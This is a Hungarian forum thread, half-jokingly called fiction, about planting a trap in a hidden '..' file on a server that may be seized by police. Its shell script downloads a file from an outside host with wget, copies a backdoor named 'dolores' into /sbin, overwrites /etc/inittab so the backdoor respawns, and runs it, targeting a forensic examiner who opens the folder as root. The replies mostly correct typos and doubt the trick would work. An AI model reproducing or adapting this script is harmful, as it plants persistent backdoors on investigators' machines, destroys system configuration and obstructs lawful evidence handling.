lehetséges

A történet fikció !!!! :P Vagy mégse ??? De nyugi ez az ....
Egy barátommal beszélhgettünk és szóba kerültek gép lefoglalások. Mit lehett tenni ha pl védet adatok vannak a gépeden. És nem akarod hogy a szakértő bele lásson a cég titkaidba.

Egy barátommal poénkodtunk mi is lenne a legjobb tróján. Abba maradtunk hogy ha a fájlrendszerbe véletlenül egy .. file t bejegyzel és futtatási jogot adsz neki. Miért is ne megcsináltuk a /home/user/projekt/hackingdoc ba a file-t. (kb 2 nap volt mire sikerült) egyszerű sh ként.Persze miért ne egy haver serverébe lévő saját vinyóval szórakoztunk volna ??? Valami ilyesmi volt a fájlba.
[code]

#!/bin/sh
wget http://valami.fw.hu/ispstaki.php
cp /home/user/projekt/hacktools/dolores >/sbin
echo "c8:12345:respawn:/sbin/dolores" >/etc/inittab
sh /sbin/dolores
cd /home/user/projekt

[/code]

dolores egy akkoriba elterjedt backdore volt... melyet sokan szivessen hagytak maguk után.
Ha ez történik:
Szóval a szervert lefoglalják. Majd 1 szépnapon valaki lefuttatja a scriptet. Ergó belépet a könyvtárba root ként midnight commanderrel (bsc nél nem mükszik a trükk.). Ez esetbe én bűnöző vagyok a szakértő rendszerének feltörése miatt ?

Hozzászólások

"cp /home/user/projekt/hacktools/dolores >/sbin"
Khmm... Inkább "cp /home/user/projekt/hacktools/dolores /sbin" :-)
"backdore"
Khmm... Inkább backdoor... :-)
Megjegyzés: Nem kötekedésnek szántam, csak néhány elírás akaratlanul is arra késztet, hogy hozzászóljak...

Ami pedig ezt a módszert illeti: Igen kicsi a valószínűsége, hogy saját gépükön, Unix-szerű rendszeren, rendszergizdai jogokkal, mc-vel fognak kutakodni a merevlemezen...

:D
minden program tartalmaz legalább egy hibát :D ez alól a scriptek se kivételek :D
backdore :P Nem véletlen elírás ... dore (dóra :P) Ez olyan azér is elírás...
Ami azt illeti szerintem nem az ... őőőőőő... hidj nekem :P mert csak root ként tud mountpolni az uhun ... :D

Ez itt a reklám helye :P
http://lfpcp.fw.hu

"Ami pedig ezt a módszert illeti: Igen kicsi a valószínűsége, hogy saját gépükön, Unix-szerű rendszeren, rendszergizdai jogokkal, mc-vel fognak kutakodni a merevlemezen..."

meglepodnel...

--
The Internet has evolved from smart people in front of dumb terminals to dumb people in front of smart terminals.